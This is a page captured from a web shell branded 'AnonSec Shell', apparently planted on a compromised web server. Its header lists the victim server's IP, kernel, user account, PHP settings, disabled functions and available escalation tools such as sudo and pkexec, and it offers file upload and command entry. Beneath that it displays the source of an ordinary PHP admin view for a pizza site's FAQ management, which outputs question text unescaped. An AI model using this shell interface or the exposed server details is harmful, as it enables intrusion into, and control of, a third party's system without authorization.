AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/views/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/views/superadmin/faq_management_list.php
<div class="content-wrapper">
  <!-- Content Header (Page header) -->
  <section class="content-header content-header1">
    <h1><?php echo $this->lang->line('FAQ');?></h1>
    <?php if($this->session->flashdata('success_msg')) { ?>
      <div class="alert alert-info text-center">
        <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
        <strong><?php echo $this->session->flashdata('success_msg'); ?></strong> 
      </div>
    <?php } ?>
    <?php if(validation_errors() != FALSE) { ?>
      <div class="alert alert-danger text-center">
        <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
        <strong><?php echo validation_errors(); ?></strong> 
      </div>
    <?php } ?>
    <div class="breadcrumb topright" style="">
      <button data-toggle="control-sidebar" class="btn btn-outline green btn-sm opo addressEdit opened btn-circle mcfr addcatbtn active pad2_10 view1" style=""><i style="font-size: 16px;" class="fa fa-plus-circle"></i> <?php echo $this->lang->line('Addnew');?></button>
    </div>
  </section>
  <!-- Main content -->
  <section class="content">
    <!-- Info boxes -->
    <div class="box-body" id="customers">
      <div class="col-md-12 col-sm-12 col-xs-12 margintop10">
        <div class="table-responsive">
          <table class="table no-margin table-hover">
            <thead>
              <tr class="label-info labelinfo1">
                <th class="text-center">
                  <?php echo $this->lang->line('SNo');?>
                </th>
                <th class="text-center">
                  <span class="shorting-action">
                  <?php echo $this->lang->line('Question');?>
                  </span>
                </th>
                <th class="text-center"><?php echo $this->lang->line('Added_Date');?></th>
                <th class="text-center"><?php echo $this->lang->line('Status');?></th>
                <th class="text-center"><?php echo $this->lang->line('Action');?></th>
              </tr>
            </thead>
            <tbody id="custom-table">
              <?php if(is_array($FaqList) && sizeof($FaqList)>0){ 

              foreach ($FaqList as $key => $value) {
              ?>
              <tr id="<?=$value['faq_id'];?>_row">
                <td class="text-center paddingtop16"><?=$key+1?></td>
                <td class="text-center paddingtop16">
                <?=$value['question']?>
                </td>
                <td class="text-center paddingtop16">
                <?=date("M j, Y", strtotime($value['addeddate']));?>
                </td>
                <td class="text-center">
                  <div class="btn-group btn-group-circle">
                    <button onclick="ChangeActiveInactive('rt_faq','1','<?=$value['faq_id']?>', this);" type="button" class="newsolidbtn1 btn btn-outline green btn-sm <?=$value['faq_status'] == "1"?'active':''?>"><?php echo $this->lang->line('Active');?></button>
                    <button onclick="ChangeActiveInactive('rt_faq','0','<?=$value['faq_id']?>', this);" type="button" class="newsolidbtn1 btn btn-outline red btn-sm <?=$value['faq_status'] == "0"?'active':''?>"><?php echo $this->lang->line('Inactive');?></button>
                    </div>
                </td>
                <td class="text-center paddingtop10">
                  <span onclick="editFaq('<?=$value['faq_id']?>')" class="newsolidbtn1 btn btn-outline green btn-sm opo addressEdit opened btn-circle"><i class="fa fa-pencil" aria-hidden="true"></i> <?php echo $this->lang->line('Edit');?></span>
                  <span onclick="DeleteNow('rt_faq','<?=$value['faq_id']?>');" class="newsolidbtn1 btn btn-outline red btn-sm opo btn-circle"><i class="fa fa-trash-o" aria-hidden="true"></i> <?php echo $this->lang->line('Delete');?></span>
                </td>
              </tr>
              <?php }  }else{?>
              <tr>
                  <td colspan="4"><?php echo $this->lang->line('No_found');?></td>
              </tr>

          <?php } ?>

            </tbody>
          </table>
        </div>
      </div>
    </div>
    <div class="clearfix"></div>
    <div class="clearfix"></div>
    </section><!-- /.content -->
    </div><!-- /.content-wrapper -->
    <div class="clearfix"></div>
    </div><!-- ./wrapper -->
    <!-- <popup>  -->
    <div id="testPopupBottom1" class="testPopupBottom">
      <div class="content-wrapper leftNone">
        <!-- Main content -->
        <section class="content-header content-header1">
          <h1 class="pull-left"><?php echo $this->lang->line('AddNew');?></h1>
          <button data-toggle="control-sidebar" id="addclose" class="btn btn-outline red btn-sm opo active newsolidbtn1 mcfr hideMe mctopright pull-right mcmin5top" style=""><?php echo $this->lang->line('Cancel');?></button>
        </section>
        <section class="content mctop26">
          <?php $validator = array('role' => 'form', 'id' => 'faqForm'); echo form_open('superadmin/faqmanagement', $validator); ?>
          <input type="hidden" name="EditId" value="<?=set_value('EditId')?>" id="FaqEditId">
          <div class="box-body">
            <div class="col-md-12 col-sm-12 col-xs-12 margintop10 custom-padding-0">
              <div class="col-md-6 col-sm-6 col-xs-12 margintop10 paddingleft0">
                <p><?php echo $this->lang->line('Question');?> <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="<?php echo $this->lang->line('Enter_Question');?>"></i> <span class="text-red">*</span></p>
                <div class="form-group float-label-control">
                  <textarea name="question" id="question" class="fs_input"  placeholder="<?php echo $this->lang->line('Question');?>" required=""></textarea>
                </div>
              </div>
            </div>
            <div class="col-md-12 col-sm-12 col-xs-12 custom-padding-0 mct10">
              <div class="col-md-6 col-sm-6 col-xs-12 margintop10 paddingleft0">
                <p><?php echo $this->lang->line('Answer');?></p>
                <div class="table-responsive">
                  <textarea id="answer" name="answer" rows="10" cols="80"></textarea>
                  <div class="help-block with-errors" id="answerErrorWrap" style="display: none; color: red;"><?php echo $this->lang->line('Please_fill_field');?></div>
                </div>
              </div>
            </div>
            <div class="col-md-12 col-sm-12 col-xs-12 custom-padding-0 mct10">
              <button type="submit" class="btn btn-outline green btn-sm opo addressEdit active newsolidbtn1 opened mcfr mct10" style=""><?php echo $this->lang->line('Save');?></button>
            </div>
          </div>
          </form>
        </section>
      </div>
    </div>
    <!-- </popup> -->

    <script type="text/javascript">
      $(function() {
        $('#faqForm').validator();
        $('#faqForm').validator().on('submit', function (e) {
          if (e.isDefaultPrevented()) {
            // handle the invalid form...
          } else {
            var answer = $.trim(CKEDITOR.instances.answer.getData());
            answer = answer.replace('<p>', '');
            answer = answer.replace(/&nbsp;/g, '');
            answer = answer.replace('</p>', '');
            if (answer == '') {
              $('#answerErrorWrap').show();
              return false;
            }
          }
        })
      })
    </script>

Anon7 - 2022
AnonSec Team